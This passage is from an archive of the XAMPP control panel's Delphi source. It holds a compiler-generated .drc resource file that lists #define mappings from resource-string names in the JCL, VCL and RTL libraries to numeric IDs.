19:17:57.000.459,C:\Users\mark\Desktop\xampp-control-panel-beta-3\ExceptionDialog.pas=C:\Users\mark\Desktop\xampp-control-panel-beta-3\uExceptionDialog.pas 2013/04/25 19:06:30.000.963,C:\Users\mark\Desktop\xampp-control-panel-beta-3\uExceptionDialog.pas= 2013/04/25 19:08:57.000.852,=C:\Users\mark\Desktop\xampp-control-panel-beta-3\uExceptionDialog.pas xampp-control-panel/xampp_control3.drc000066600000234731151723641500014130 0ustar00/* VER230 Generated by the CodeGear Delphi Pascal Compiler because -GD or --drc was supplied to the compiler. This file contains compiler-generated resources that were bound to the executable. If this file is empty, then no compiler-generated resources were bound to the produced executable. */ #define uExceptionDialog_RsExceptionStack 64832 #define uExceptionDialog_RsMainThreadID 64833 #define uExceptionDialog_RsExceptionThreadID 64834 #define uExceptionDialog_RsMainThreadCallStack 64835 #define uExceptionDialog_RsThreadCallStack 64836 #define uExceptionDialog_RsErrorMessage 64837 #define uExceptionDialog_RsDetailsIntro 64838 #define uExceptionDialog_RsUnitVersioningIntro 64839 #define Vcl_Imaging_JConsts_sChangeJPGSize 64848 #define Vcl_Imaging_JConsts_sJPEGError 64849 #define Vcl_Imaging_JConsts_sJPEGImageFile 64850 #define uExceptionDialog_RsAppError 64851 #define uExceptionDialog_RsExceptionClass 64852 #define uExceptionDialog_RsExceptionMessage 64853 #define uExceptionDialog_RsExceptionAddr 64854 #define uExceptionDialog_RsStackList 64855 #define uExceptionDialog_RsModulesList 64856 #define uExceptionDialog_RsOSVersion 64857 #define uExceptionDialog_RsProcessor 64858 #define uExceptionDialog_RsMemory 64859 #define uExceptionDialog_RsScreenRes 64860 #define uExceptionDialog_RsActiveControl 64861 #define uExceptionDialog_RsThread 64862 #define uExceptionDialog_RsMissingVersionInfo 64863 #define JclResources_RsProductTypeServer 64864 #define JclResources_RsProductTypeAdvancedServer 64865 #define JclResources_RsProductTypePersonal 64866 #define JclResources_RsProductTypeProfessional 64867 #define JclResources_RsProductTypeDatacenterServer 64868 #define JclResources_RsProductTypeEnterprise 64869 #define JclResources_RsProductTypeWebEdition 64870 #define JclResources_RsSPInfo 64871 #define JclResources_RsCannotWriteRefStream 64872 #define JclResources_RsInvalidMMFName 64873 #define JclResources_RsInvalidMMFEmpty 64874 #define JclResources_RsHasNotTD32Info 64875 #define JclResources_RsEUnexpectedEOSeq 64876 #define JclResources_RsWin32Error 64877 #define JclResources_RsELibraryNotFound 64878 #define JclResources_RsEFunctionNotFound 64879 #define JclResources_RsEditionWinVistaHomeBasicN 64880 #define JclResources_RsEditionWinVistaHomePremium 64881 #define JclResources_RsEditionWinVistaBusiness 64882 #define JclResources_RsEditionWinVistaBusinessN 64883 #define JclResources_RsEditionWinVistaEnterprise 64884 #define JclResources_RsEditionWinVistaUltimate 64885 #define JclResources_RsEditionWin7Starter 64886 #define JclResources_RsEditionWin7HomeBasic 64887 #define JclResources_RsEditionWin7HomePremium 64888 #define JclResources_RsEditionWin7Professional 64889 #define JclResources_RsEditionWin7Enterprise 64890 #define JclResources_RsEditionWin7Ultimate 64891 #define JclResources_RsEditionWin8Pro 64892 #define JclResources_RsEditionWin8Enterprise 64893 #define JclResources_RsEditionWin8RT 64894 #define JclResources_RsProductTypeWorkStation 64895 #define JclResources_RsOSVersionWinServer2008R2 64896 #define JclResources_RsOSVersionWin8 64897 #define JclResources_RsOSVersionWinServer2012 64898 #define JclResources_RsEditionWinXPHome 64899 #define JclResources_RsEditionWinXPPro 64900 #define JclResources_RsEditionWinXPHomeN 64901 #define JclResources_RsEditionWinXPProN 64902 #define JclResources_RsEditionWinXPHomeK 64903 #define JclResources_RsEditionWinXPProK 64904 #define JclResources_RsEditionWinXPHomeKN 64905 #define JclResources_RsEditionWinXPProKN 64906 #define JclResources_RsEditionWinXPStarter 64907 #define JclResources_RsEditionWinXPMediaCenter 64908 #define JclResources_RsEditionWinXPTablet 64909 #define JclResources_RsEditionWinVistaStarter 64910 #define JclResources_RsEditionWinVistaHomeBasic 64911 #define JclResources_RsUnknownAMDModel 64912 #define JclResources_RsOSVersionWin95 64913 #define JclResources_RsOSVersionWin95OSR2 64914 #define JclResources_RsOSVersionWin98 64915 #define JclResources_RsOSVersionWin98SE 64916 #define JclResources_RsOSVersionWinME 64917 #define JclResources_RsOSVersionWinNT3 64918 #define JclResources_RsOSVersionWinNT4 64919 #define JclResources_RsOSVersionWin2000 64920 #define JclResources_RsOSVersionWinXP 64921 #define JclResources_RsOSVersionWin2003 64922 #define JclResources_RsOSVersionWin2003R2 64923 #define JclResources_RsOSVersionWinXP64 64924 #define JclResources_RsOSVersionWinVista 64925 #define JclResources_RsOSVersionWinServer2008 64926 #define JclResources_RsOSVersionWin7 64927 #define JclResources_RsIntelCacheDescrD2 64928 #define JclResources_RsIntelCacheDescrD6 64929 #define JclResources_RsIntelCacheDescrD7 64930 #define JclResources_RsIntelCacheDescrD8 64931 #define JclResources_RsIntelCacheDescrDC 64932 #define JclResources_RsIntelCacheDescrDD 64933 #define JclResources_RsIntelCacheDescrDE 64934 #define JclResources_RsIntelCacheDescrE2 64935 #define JclResources_RsIntelCacheDescrE3 64936 #define JclResources_RsIntelCacheDescrE4 64937 #define JclResources_RsIntelCacheDescrEA 64938 #define JclResources_RsIntelCacheDescrEB 64939 #define JclResources_RsIntelCacheDescrEC 64940 #define JclResources_RsIntelCacheDescrF0 64941 #define JclResources_RsIntelCacheDescrF1 64942 #define JclResources_RsIntelCacheDescrFF 64943 #define JclResources_RsIntelCacheDescr82 64944 #define JclResources_RsIntelCacheDescr83 64945 #define JclResources_RsIntelCacheDescr84 64946 #define JclResources_RsIntelCacheDescr85 64947 #define JclResources_RsIntelCacheDescr86 64948 #define JclResources_RsIntelCacheDescr87 64949 #define JclResources_RsIntelCacheDescrB0 64950 #define JclResources_RsIntelCacheDescrB1 64951 #define JclResources_RsIntelCacheDescrB2 64952 #define JclResources_RsIntelCacheDescrB3 64953 #define JclResources_RsIntelCacheDescrB4 64954 #define JclResources_RsIntelCacheDescrBA 64955 #define JclResources_RsIntelCacheDescrC0 64956 #define JclResources_RsIntelCacheDescrCA 64957 #define JclResources_RsIntelCacheDescrD0 64958 #define JclResources_RsIntelCacheDescrD1 64959 #define JclResources_RsIntelCacheDescr66 64960 #define JclResources_RsIntelCacheDescr67 64961 #define JclResources_RsIntelCacheDescr68 64962 #define JclResources_RsIntelCacheDescr70 64963 #define JclResources_RsIntelCacheDescr71 64964 #define JclResources_RsIntelCacheDescr72 64965 #define JclResources_RsIntelCacheDescr73 64966 #define JclResources_RsIntelCacheDescr76 64967 #define JclResources_RsIntelCacheDescr78 64968 #define JclResources_RsIntelCacheDescr79 64969 #define JclResources_RsIntelCacheDescr7A 64970 #define JclResources_RsIntelCacheDescr7B 64971 #define JclResources_RsIntelCacheDescr7C 64972 #define JclResources_RsIntelCacheDescr7D 64973 #define JclResources_RsIntelCacheDescr7F 64974 #define JclResources_RsIntelCacheDescr80 64975 #define JclResources_RsIntelCacheDescr4C 64976 #define JclResources_RsIntelCacheDescr4D 64977 #define JclResources_RsIntelCacheDescr4E 64978 #define JclResources_RsIntelCacheDescr4F 64979 #define JclResources_RsIntelCacheDescr50 64980 #define JclResources_RsIntelCacheDescr51 64981 #define JclResources_RsIntelCacheDescr52 64982 #define JclResources_RsIntelCacheDescr55 64983 #define JclResources_RsIntelCacheDescr56 64984 #define JclResources_RsIntelCacheDescr57 64985 #define JclResources_RsIntelCacheDescr59 64986 #define JclResources_RsIntelCacheDescr5A 64987 #define JclResources_RsIntelCacheDescr5B 64988 #define JclResources_RsIntelCacheDescr5C 64989 #define JclResources_RsIntelCacheDescr5D 64990 #define JclResources_RsIntelCacheDescr60 64991 #define JclResources_RsIntelCacheDescr3B 64992 #define JclResources_RsIntelCacheDescr3C 64993 #define JclResources_RsIntelCacheDescr3D 64994 #define JclResources_RsIntelCacheDescr3E 64995 #define JclResources_RsIntelCacheDescr40 64996 #define JclResources_RsIntelCacheDescr41 64997 #define JclResources_RsIntelCacheDescr42 64998 #define JclResources_RsIntelCacheDescr43 64999 #define JclResources_RsIntelCacheDescr44 65000 #define JclResources_RsIntelCacheDescr45 65001 #define JclResources_RsIntelCacheDescr46 65002 #define JclResources_RsIntelCacheDescr47 65003 #define JclResources_RsIntelCacheDescr48 65004 #define JclResources_RsIntelCacheDescr49 65005 #define JclResources_RsIntelCacheDescr4A 65006 #define JclResources_RsIntelCacheDescr4B 65007 #define JclResources_RsIntelCacheDescr08 65008 #define JclResources_RsIntelCacheDescr09 65009 #define JclResources_RsIntelCacheDescr0A 65010 #define JclResources_RsIntelCacheDescr0B 65011 #define JclResources_RsIntelCacheDescr0C 65012 #define JclResources_RsIntelCacheDescr0D 65013 #define JclResources_RsIntelCacheDescr0E 65014 #define JclResources_RsIntelCacheDescr21 65015 #define JclResources_RsIntelCacheDescr22 65016 #define JclResources_RsIntelCacheDescr23 65017 #define JclResources_RsIntelCacheDescr25 65018 #define JclResources_RsIntelCacheDescr29 65019 #define JclResources_RsIntelCacheDescr2C 65020 #define JclResources_RsIntelCacheDescr30 65021 #define JclResources_RsIntelCacheDescr39 65022 #define JclResources_RsIntelCacheDescr3A 65023 #define JclResources_RsPePkgImplicit 65024 #define JclResources_RsUnableToOpenKeyRead 65025 #define JclResources_RsUnableToAccessValue 65026 #define JclResources_RsWrongDataType 65027 #define JclResources_RsInconsistentPath 65028 #define JclResources_RsSynchCreateMutex 65029 #define JclResources_RsSynchOpenMutex 65030 #define JclResources_RsSystemProcess 65031 #define JclResources_RsSystemIdleProcess 65032 #define JclResources_RsIntelCacheDescr00 65033 #define JclResources_RsIntelCacheDescr01 65034 #define JclResources_RsIntelCacheDescr02 65035 #define JclResources_RsIntelCacheDescr03 65036 #define JclResources_RsIntelCacheDescr04 65037 #define JclResources_RsIntelCacheDescr05 65038 #define JclResources_RsIntelCacheDescr06 65039 #define JclResources_RsPeDEBUG_OMAP_TO_SRC 65040 #define JclResources_RsPeDEBUG_OMAP_FROM_SRC 65041 #define JclResources_RsPePkgExecutable 65042 #define JclResources_RsPePkgPackage 65043 #define JclResources_PsPePkgLibrary 65044 #define JclResources_RsPePkgNeverBuild 65045 #define JclResources_RsPePkgDesignOnly 65046 #define JclResources_RsPePkgRunOnly 65047 #define JclResources_RsPePkgIgnoreDupUnits 65048 #define JclResources_RsPePkgV3Produced 65049 #define JclResources_RsPePkgProducerUndefined 65050 #define JclResources_RsPePkgBCB4Produced 65051 #define JclResources_RsPePkgDelphi4Produced 65052 #define JclResources_RsPePkgMain 65053 #define JclResources_RsPePkgWeak 65054 #define JclResources_RsPePkgOrgWeak 65055 #define JclResources_RsPeMACHINE_M32R 65056 #define JclResources_RsPeMACHINE_CEE 65057 #define JclResources_RsPeSUBSYSTEM_UNKNOWN 65058 #define JclResources_RsPeSUBSYSTEM_NATIVE 65059 #define JclResources_RsPeSUBSYSTEM_WINDOWS_GUI 65060 #define JclResources_RsPeSUBSYSTEM_WINDOWS_CUI 65061 #define JclResources_RsPeSUBSYSTEM_OS2_CUI 65062 #define JclResources_RsPeSUBSYSTEM_POSIX_CUI 65063 #define JclResources_RsPeSUBSYSTEM_RESERVED8 65064 #define JclResources_RsPeDEBUG_UNKNOWN 65065 #define JclResources_RsPeDEBUG_COFF 65066 #define JclResources_RsPeDEBUG_CODEVIEW 65067 #define JclResources_RsPeDEBUG_FPO 65068 #define JclResources_RsPeDEBUG_MISC 65069 #define JclResources_RsPeDEBUG_EXCEPTION 65070 #define JclResources_RsPeDEBUG_FIXUP 65071 #define JclResources_RsPeMACHINE_SH4 65072 #define JclResources_RsPeMACHINE_SH5 65073 #define JclResources_RsPeMACHINE_ARM 65074 #define JclResources_RsPeMACHINE_THUMB 65075 #define JclResources_RsPeMACHINE_AM33 65076 #define JclResources_RsPeMACHINE_POWERPC 65077 #define JclResources_RsPeMACHINE_POWERPCFP 65078 #define JclResources_RsPeMACHINE_IA64 65079 #define JclResources_RsPeMACHINE_MIPS16 65080 #define JclResources_RsPeMACHINE_AMPHA64 65081 #define JclResources_RsPeMACHINE_MIPSFPU 65082 #define JclResources_RsPeMACHINE_MIPSFPU16 65083 #define JclResources_RsPeMACHINE_TRICORE 65084 #define JclResources_RsPeMACHINE_CEF 65085 #define JclResources_RsPeMACHINE_EBC 65086 #define JclResources_RsPeMACHINE_AMD64 65087 #define JclResources_RsPeVirtualMemoryThreshold 65088 #define JclResources_RsPeProcessHeapFlags 65089 #define JclResources_RsPeProcessAffinityMask 65090 #define JclResources_RsPeCSDVersion 65091 #define JclResources_RsPeReserved 65092 #define JclResources_RsPeEditList 65093 #define JclResources_RsPeMACHINE_UNKNOWN 65094 #define JclResources_RsPeMACHINE_I386 65095 #define JclResources_RsPeMACHINE_R3000 65096 #define JclResources_RsPeMACHINE_R4000 65097 #define JclResources_RsPeMACHINE_R10000 65098 #define JclResources_RsPeMACHINE_WCEMIPSV2 65099 #define JclResources_RsPeMACHINE_ALPHA 65100 #define JclResources_RsPeMACHINE_SH3 65101 #define JclResources_RsPeMACHINE_SH3DSP 65102 #define JclResources_RsPeMACHINE_SH3E 65103 #define JclResources_RsPeSubsystem 65104 #define JclResources_RsPeDllCharacteristics 65105 #define JclResources_RsPeSizeOfStackReserve 65106 #define JclResources_RsPeSizeOfStackCommit 65107 #define JclResources_RsPeSizeOfHeapReserve 65108 #define JclResources_RsPeSizeOfHeapCommit 65109 #define JclResources_RsPeLoaderFlags 65110 #define JclResources_RsPeNumberOfRvaAndSizes 65111 #define JclResources_RsPeVersion 65112 #define JclResources_RsPeGlobalFlagsClear 65113 #define JclResources_RsPeGlobalFlagsSet 65114 #define JclResources_RsPeCriticalSectionDefaultTimeout 65115 #define JclResources_RsPeDeCommitFreeBlockThreshold 65116 #define JclResources_RsPeDeCommitTotalFreeThreshold 65117 #define JclResources_RsPeLockPrefixTable 65118 #define JclResources_RsPeMaximumAllocationSize 65119 #define JclResources_RsPeSizeOfCode 65120 #define JclResources_RsPeSizeOfInitializedData 65121 #define JclResources_RsPeSizeOfUninitializedData 65122 #define JclResources_RsPeAddressOfEntryPoint 65123 #define JclResources_RsPeBaseOfCode 65124 #define JclResources_RsPeBaseOfData 65125 #define JclResources_RsPeImageBase 65126 #define JclResources_RsPeSectionAlignment 65127 #define JclResources_RsPeFileAlignment 65128 #define JclResources_RsPeOperatingSystemVersion 65129 #define JclResources_RsPeImageVersion 65130 #define JclResources_RsPeSubsystemVersion 65131 #define JclResources_RsPeWin32VersionValue 65132 #define JclResources_RsPeSizeOfImage 65133 #define JclResources_RsPeSizeOfHeaders 65134 #define JclResources_RsPeCheckSum 65135 #define JclResources_RsPeImg_10 65136 #define JclResources_RsPeImg_11 65137 #define JclResources_RsPeImg_12 65138 #define JclResources_RsPeImg_13 65139 #define JclResources_RsPeImg_14 65140 #define JclResources_RsPeImg_Reserved 65141 #define JclResources_RsPeSignature 65142 #define JclResources_RsPeMachine 65143 #define JclResources_RsPeNumberOfSections 65144 #define JclResources_RsPeTimeDateStamp 65145 #define JclResources_RsPePointerToSymbolTable 65146 #define JclResources_RsPeNumberOfSymbols 65147 #define JclResources_RsPeSizeOfOptionalHeader 65148 #define JclResources_RsPeCharacteristics 65149 #define JclResources_RsPeMagic 65150 #define JclResources_RsPeLinkerVersion 65151 #define JclResources_RsPeCantOpen 65152 #define JclResources_RsPeNotPE 65153 #define JclResources_RsPeUnknownTarget 65154 #define JclResources_RsPeNotResDir 65155 #define JclResources_RsPeNotAvailableForAttached 65156 #define JclResources_RsPeSectionNotFound 65157 #define JclResources_RsPeImg_00 65158 #define JclResources_RsPeImg_01 65159 #define JclResources_RsPeImg_02 65160 #define JclResources_RsPeImg_03 65161 #define JclResources_RsPeImg_04 65162 #define JclResources_RsPeImg_05 65163 #define JclResources_RsPeImg_06 65164 #define JclResources_RsPeImg_07 65165 #define JclResources_RsPeImg_08 65166 #define JclResources_RsPeImg_09 65167 #define JclResources_RsEReplacementChar 65168 #define JclResources_RsDateConversion 65169 #define JclResources_RsUnknownFunctionAt 65170 #define JclResources_RsEWindowsVersionNotSupported 65171 #define JclResources_RsEWindowNotValid 65172 #define JclResources_RsEProcessNotValid 65173 #define JclResources_RsEModuleNotValid 65174 #define JclResources_RsFileUtilsNoVersionInfo 65175 #define JclResources_RsFileUtilsFileDoesNotExist 65176 #define JclResources_RsFileUtilsLanguageIndex 65177 #define JclResources_RsFileUtilsEmptyValue 65178 #define JclResources_RsFileUtilsValueNotFound 65179 #define JclResources_RsCreateFileMapping 65180 #define JclResources_RsCreateFileMappingView 65181 #define JclResources_RsFailedToObtainSize 65182 #define JclResources_RsPeReadOnlyStream 65183 #define System_Win_ComConst_SOleError 65184 #define System_Win_ComConst_SNoMethod 65185 #define System_Win_ComConst_SVarNotObject 65186 #define System_Win_ComConst_STooManyParams 65187 #define Vcl_ComStrs_sTabFailClear 65188 #define Vcl_ComStrs_sTabFailDelete 65189 #define Vcl_ComStrs_sTabFailRetrieve 65190 #define Vcl_ComStrs_sTabFailGetObject 65191 #define Vcl_ComStrs_sTabFailSet 65192 #define Vcl_ComStrs_sTabFailSetObject 65193 #define Vcl_ComStrs_sTabMustBeMultiLine 65194 #define Vcl_ComStrs_sInvalidOwner 65195 #define Vcl_ComStrs_sRichEditInsertError 65196 #define Vcl_ComStrs_sRichEditLoadFail 65197 #define Vcl_ComStrs_sRichEditSaveFail 65198 #define Vcl_ComStrs_sPageIndexError 65199 #define Vcl_Consts_SPageControlNotSet 65200 #define Vcl_Consts_SWindowsVistaRequired 65201 #define Vcl_Consts_STaskDlgButtonCaption 65202 #define Vcl_Consts_STaskDlgRadioButtonCaption 65203 #define Vcl_Consts_SInvalidTaskDlgButtonCaption 65204 #define Vcl_Consts_SStyleLoadError 65205 #define Vcl_Consts_SStyleLoadErrors 65206 #define Vcl_Consts_SStyleRegisterError 65207 #define Vcl_Consts_SStyleClassRegisterError 65208 #define Vcl_Consts_SStyleNotFound 65209 #define Vcl_Consts_SStyleClassNotFound 65210 #define Vcl_Consts_SStyleInvalidHandle 65211 #define Vcl_Consts_SStyleFormatError 65212 #define Vcl_Consts_SStyleHookClassNotRegistered 65213 #define Vcl_Consts_SStyleInvalidParameter 65214 #define Vcl_Consts_SStyleFeatureNotSupported 65215 #define Vcl_Consts_SInvalidPrinterOp 65216 #define Vcl_Consts_SNoDefaultPrinter 65217 #define Vcl_Consts_SDuplicateMenus 65218 #define Vcl_Consts_SDockedCtlNeedsName 65219 #define Vcl_Consts_SDockTreeRemoveError 65220 #define Vcl_Consts_SDockZoneNotFound 65221 #define Vcl_Consts_SDockZoneHasNoCtl 65222 #define Vcl_Consts_SDockZoneVersionConflict 65223 #define Vcl_Consts_SPromptArrayTooShort 65224 #define Vcl_Consts_SPromptArrayEmpty 65225 #define Vcl_Consts_SUsername 65226 #define Vcl_Consts_SPassword 65227 #define Vcl_Consts_SDomain 65228 #define Vcl_Consts_SLogin 65229 #define Vcl_Consts_SNoGetItemEventHandler 65230 #define Vcl_Consts_STrayIconRemoveError 65231 #define Vcl_Consts_SmkcUp 65232 #define Vcl_Consts_SmkcRight 65233 #define Vcl_Consts_SmkcDown 65234 #define Vcl_Consts_SmkcIns 65235 #define Vcl_Consts_SmkcDel 65236 #define Vcl_Consts_SmkcShift 65237 #define Vcl_Consts_SmkcCtrl 65238 #define Vcl_Consts_SmkcAlt 65239 #define Vcl_Consts_SOutOfRange 65240 #define Vcl_Consts_sAllFilter 65241 #define Vcl_Consts_SInsertLineError 65242 #define Vcl_Consts_SInvalidClipFmt 65243 #define Vcl_Consts_SIconToClipboard 65244 #define Vcl_Consts_SCannotOpenClipboard 65245 #define Vcl_Consts_SDefault 65246 #define Vcl_Consts_SInvalidMemoSize 65247 #define Vcl_Consts_SMsgDlgRetry 65248 #define Vcl_Consts_SMsgDlgIgnore 65249 #define Vcl_Consts_SMsgDlgAll 65250 #define Vcl_Consts_SMsgDlgNoToAll 65251 #define Vcl_Consts_SMsgDlgYesToAll 65252 #define Vcl_Consts_SMsgDlgClose 65253 #define Vcl_Consts_SmkcBkSp 65254 #define Vcl_Consts_SmkcTab 65255 #define Vcl_Consts_SmkcEsc 65256 #define Vcl_Consts_SmkcEnter 65257 #define Vcl_Consts_SmkcSpace 65258 #define Vcl_Consts_SmkcPgUp 65259 #define Vcl_Consts_SmkcPgDn 65260 #define Vcl_Consts_SmkcEnd 65261 #define Vcl_Consts_SmkcHome 65262 #define Vcl_Consts_SmkcLeft 65263 #define Vcl_Consts_SCannotDragForm 65264 #define Vcl_Consts_SVMetafiles 65265 #define Vcl_Consts_SVEnhMetafiles 65266 #define Vcl_Consts_SVIcons 65267 #define Vcl_Consts_SVBitmaps 65268 #define Vcl_Consts_SVTIFFImages 65269 #define Vcl_Consts_SMsgDlgWarning 65270 #define Vcl_Consts_SMsgDlgError 65271 #define Vcl_Consts_SMsgDlgInformation 65272 #define Vcl_Consts_SMsgDlgConfirm 65273 #define Vcl_Consts_SMsgDlgYes 65274 #define Vcl_Consts_SMsgDlgNo 65275 #define Vcl_Consts_SMsgDlgOK 65276 #define Vcl_Consts_SMsgDlgCancel 65277 #define Vcl_Consts_SMsgDlgHelp 65278 #define Vcl_Consts_SMsgDlgAbort 65279 #define Vcl_Consts_SInvalidPrinter 65280 #define Vcl_Consts_SDeviceOnPort 65281 #define Vcl_Consts_SGroupIndexTooLow 65282 #define Vcl_Consts_SNoMDIForm 65283 #define Vcl_Consts_SImageCanvasNeedsBitmap 65284 #define Vcl_Consts_SControlParentSetToSelf 65285 #define Vcl_Consts_SOKButton 65286 #define Vcl_Consts_SCancelButton 65287 #define Vcl_Consts_SYesButton 65288 #define Vcl_Consts_SNoButton 65289 #define Vcl_Consts_SHelpButton 65290 #define Vcl_Consts_SCloseButton 65291 #define Vcl_Consts_SIgnoreButton 65292 #define Vcl_Consts_SRetryButton 65293 #define Vcl_Consts_SAbortButton 65294 #define Vcl_Consts_SAllButton 65295 #define Vcl_Consts_SWindowClass 65296 #define Vcl_Consts_SCannotFocus 65297 #define Vcl_Consts_SParentRequired 65298 #define Vcl_Consts_SParentGivenNotAParent 65299 #define Vcl_Consts_SMDIChildNotVisible 65300 #define Vcl_Consts_SVisibleChanged 65301 #define Vcl_Consts_SCannotShowModal 65302 #define Vcl_Consts_SScrollBarRange 65303 #define Vcl_Consts_SPropertyOutOfRange 65304 #define Vcl_Consts_SMenuIndexError 65305 #define Vcl_Consts_SMenuReinserted 65306 #define Vcl_Consts_SMenuNotFound 65307 #define Vcl_Consts_SNoTimers 65308 #define Vcl_Consts_SNotPrinting 65309 #define Vcl_Consts_SPrinting 65310 #define Vcl_Consts_SPrinterIndexError 65311 #define Vcl_Consts_SInvalidImage 65312 #define Vcl_Consts_SScanLine 65313 #define Vcl_Consts_SChangeIconSize 65314 #define Vcl_Consts_SChangeWicSize 65315 #define Vcl_Consts_SUnknownExtension 65316 #define Vcl_Consts_SUnknownClipboardFormat 65317 #define Vcl_Consts_SOutOfResources 65318 #define Vcl_Consts_SNoCanvasHandle 65319 #define Vcl_Consts_SInvalidTextFormatFlag 65320 #define Vcl_Consts_SInvalidImageSize 65321 #define Vcl_Consts_SInvalidImageList 65322 #define Vcl_Consts_SReplaceImage 65323 #define Vcl_Consts_SImageIndexError 65324 #define Vcl_Consts_SImageReadFail 65325 #define Vcl_Consts_SImageWriteFail 65326 #define Vcl_Consts_SWindowDCError 65327 #define System_RTLConsts_SWindows2000 65328 #define System_RTLConsts_SWindowsXP 65329 #define System_RTLConsts_SWindowsServer2003 65330 #define System_RTLConsts_SWindowsServer2003R2 65331 #define System_RTLConsts_sObserverUnsupported 65332 #define System_RTLConsts_sObserverMultipleSingleCast 65333 #define System_RTLConsts_sObserverNoInterface 65334 #define System_RTLConsts_sObserverNoSinglecastFound 65335 #define System_RTLConsts_sObserverNoMulticastFound 65336 #define System_RTLConsts_sObserverNotAvailable 65337 #define Vcl_Consts_SInvalidTabPosition 65338 #define Vcl_Consts_SInvalidTabStyle 65339 #define Vcl_Consts_SInvalidBitmap 65340 #define Vcl_Consts_SInvalidIcon 65341 #define Vcl_Consts_SInvalidMetafile 65342 #define Vcl_Consts_SInvalidPixelFormat 65343 #define System_RTLConsts_SNoTableOfContents 65344 #define System_RTLConsts_SNoTopics 65345 #define System_RTLConsts_SNothingFound 65346 #define System_RTLConsts_SArgumentOutOfRange 65347 #define System_RTLConsts_SGenericItemNotFound 65348 #define System_RTLConsts_SGenericDuplicateItem 65349 #define System_RTLConsts_SServiceNotFound 65350 #define System_RTLConsts_SVersionStr 65351 #define System_RTLConsts_SSPVersionStr 65352 #define System_RTLConsts_SVersion32 65353 #define System_RTLConsts_SVersion64 65354 #define System_RTLConsts_SWindows 65355 #define System_RTLConsts_SWindowsVista 65356 #define System_RTLConsts_SWindowsServer2008 65357 #define System_RTLConsts_SWindows7 65358 #define System_RTLConsts_SWindowsServer2008R2 65359 #define System_RTLConsts_sInvalidTimeoutValue 65360 #define System_RTLConsts_sTimespanTooLong 65361 #define System_RTLConsts_sInvalidTimespanDuration 65362 #define System_RTLConsts_sTimespanValueCannotBeNan 65363 #define System_RTLConsts_sCannotNegateTimespan 65364 #define System_RTLConsts_sInvalidTimespanFormat 65365 #define System_RTLConsts_sTimespanElementTooLong 65366 #define System_RTLConsts_SInvalidDate 65367 #define System_RTLConsts_SInvalidDateTime 65368 #define System_RTLConsts_SInvalidInteger 65369 #define System_RTLConsts_SInvalidTime 65370 #define System_RTLConsts_STimeEncodeError 65371 #define System_RTLConsts_SNoContext 65372 #define System_RTLConsts_SNoContextFound 65373 #define System_RTLConsts_SNoIndex 65374 #define System_RTLConsts_SNoSearch 65375 #define System_RTLConsts_SUnknownGroup 65376 #define System_RTLConsts_SUnknownProperty 65377 #define System_RTLConsts_SWriteError 65378 #define System_RTLConsts_SThreadCreateError 65379 #define System_RTLConsts_SThreadError 65380 #define System_RTLConsts_SThreadExternalTerminate 65381 #define System_RTLConsts_SThreadExternalWait 65382 #define System_RTLConsts_SThreadStartError 65383 #define System_RTLConsts_SThreadExternalCheckTerminated 65384 #define System_RTLConsts_SThreadExternalSetReturnValue 65385 #define System_RTLConsts_SParamIsNegative 65386 #define System_RTLConsts_SInputBufferExceed 65387 #define System_RTLConsts_SInvalidCharsInPath 65388 #define System_RTLConsts_SFileNotFound 65389 #define System_RTLConsts_hNoFilterViewer 65390 #define System_RTLConsts_sInvalidStringAndObjectArrays 65391 #define System_RTLConsts_SInvalidPropertyValue 65392 #define System_RTLConsts_SInvalidRegType 65393 #define System_RTLConsts_SListCapacityError 65394 #define System_RTLConsts_SListCountError 65395 #define System_RTLConsts_SListIndexError 65396 #define System_RTLConsts_SMemoryStreamError 65397 #define System_RTLConsts_SNoComSupport 65398 #define System_RTLConsts_SPropertyException 65399 #define System_RTLConsts_SReadError 65400 #define System_RTLConsts_SReadOnlyProperty 65401 #define System_RTLConsts_SRegCreateFailed 65402 #define System_RTLConsts_SRegGetDataFailed 65403 #define System_RTLConsts_SRegSetDataFailed 65404 #define System_RTLConsts_SResNotFound 65405 #define System_RTLConsts_SSeekNotImplemented 65406 #define System_RTLConsts_SSortedListError 65407 #define System_RTLConsts_SAssignError 65408 #define System_RTLConsts_SBitsIndexError 65409 #define System_RTLConsts_SCantWriteResourceStreamError 65410 #define System_RTLConsts_SCheckSynchronizeError 65411 #define System_RTLConsts_SClassNotFound 65412 #define System_RTLConsts_SDuplicateClass 65413 #define System_RTLConsts_SDuplicateItem 65414 #define System_RTLConsts_SDuplicateName 65415 #define System_RTLConsts_SDuplicateString 65416 #define System_RTLConsts_SFCreateErrorEx 65417 #define System_RTLConsts_SFOpenErrorEx 65418 #define System_RTLConsts_SInvalidFileName 65419 #define System_RTLConsts_SInvalidImage 65420 #define System_RTLConsts_SInvalidName 65421 #define System_RTLConsts_SInvalidProperty 65422 #define System_RTLConsts_SInvalidPropertyPath 65423 #define System_SysConst_SLongDayNameSun 65424 #define System_SysConst_SLongDayNameMon 65425 #define System_SysConst_SLongDayNameTue 65426 #define System_SysConst_SLongDayNameWed 65427 #define System_SysConst_SLongDayNameThu 65428 #define System_SysConst_SLongDayNameFri 65429 #define System_SysConst_SLongDayNameSat 65430 #define System_SysConst_SInvalidSourceArray 65431 #define System_SysConst_SInvalidDestinationArray 65432 #define System_SysConst_SCharIndexOutOfBounds 65433 #define System_SysConst_SByteIndexOutOfBounds 65434 #define System_SysConst_SInvalidCharCount 65435 #define System_SysConst_SInvalidDestinationIndex 65436 #define System_SysConst_SInvalidCodePage 65437 #define System_SysConst_SInvalidEncodingName 65438 #define System_RTLConsts_SAncestorNotFound 65439 #define System_SysConst_SLongMonthNameApr 65440 #define System_SysConst_SLongMonthNameMay 65441 #define System_SysConst_SLongMonthNameJun 65442 #define System_SysConst_SLongMonthNameJul 65443 #define System_SysConst_SLongMonthNameAug 65444 #define System_SysConst_SLongMonthNameSep 65445 #define System_SysConst_SLongMonthNameOct 65446 #define System_SysConst_SLongMonthNameNov 65447 #define System_SysConst_SLongMonthNameDec 65448 #define System_SysConst_SShortDayNameSun 65449 #define System_SysConst_SShortDayNameMon 65450 #define System_SysConst_SShortDayNameTue 65451 #define System_SysConst_SShortDayNameWed 65452 #define System_SysConst_SShortDayNameThu 65453 #define System_SysConst_SShortDayNameFri 65454 #define System_SysConst_SShortDayNameSat 65455 #define System_SysConst_SUnkOSError 65456 #define System_SysConst_SShortMonthNameJan 65457 #define System_SysConst_SShortMonthNameFeb 65458 #define System_SysConst_SShortMonthNameMar 65459 #define System_SysConst_SShortMonthNameApr 65460 #define System_SysConst_SShortMonthNameMay 65461 #define System_SysConst_SShortMonthNameJun 65462 #define System_SysConst_SShortMonthNameJul 65463 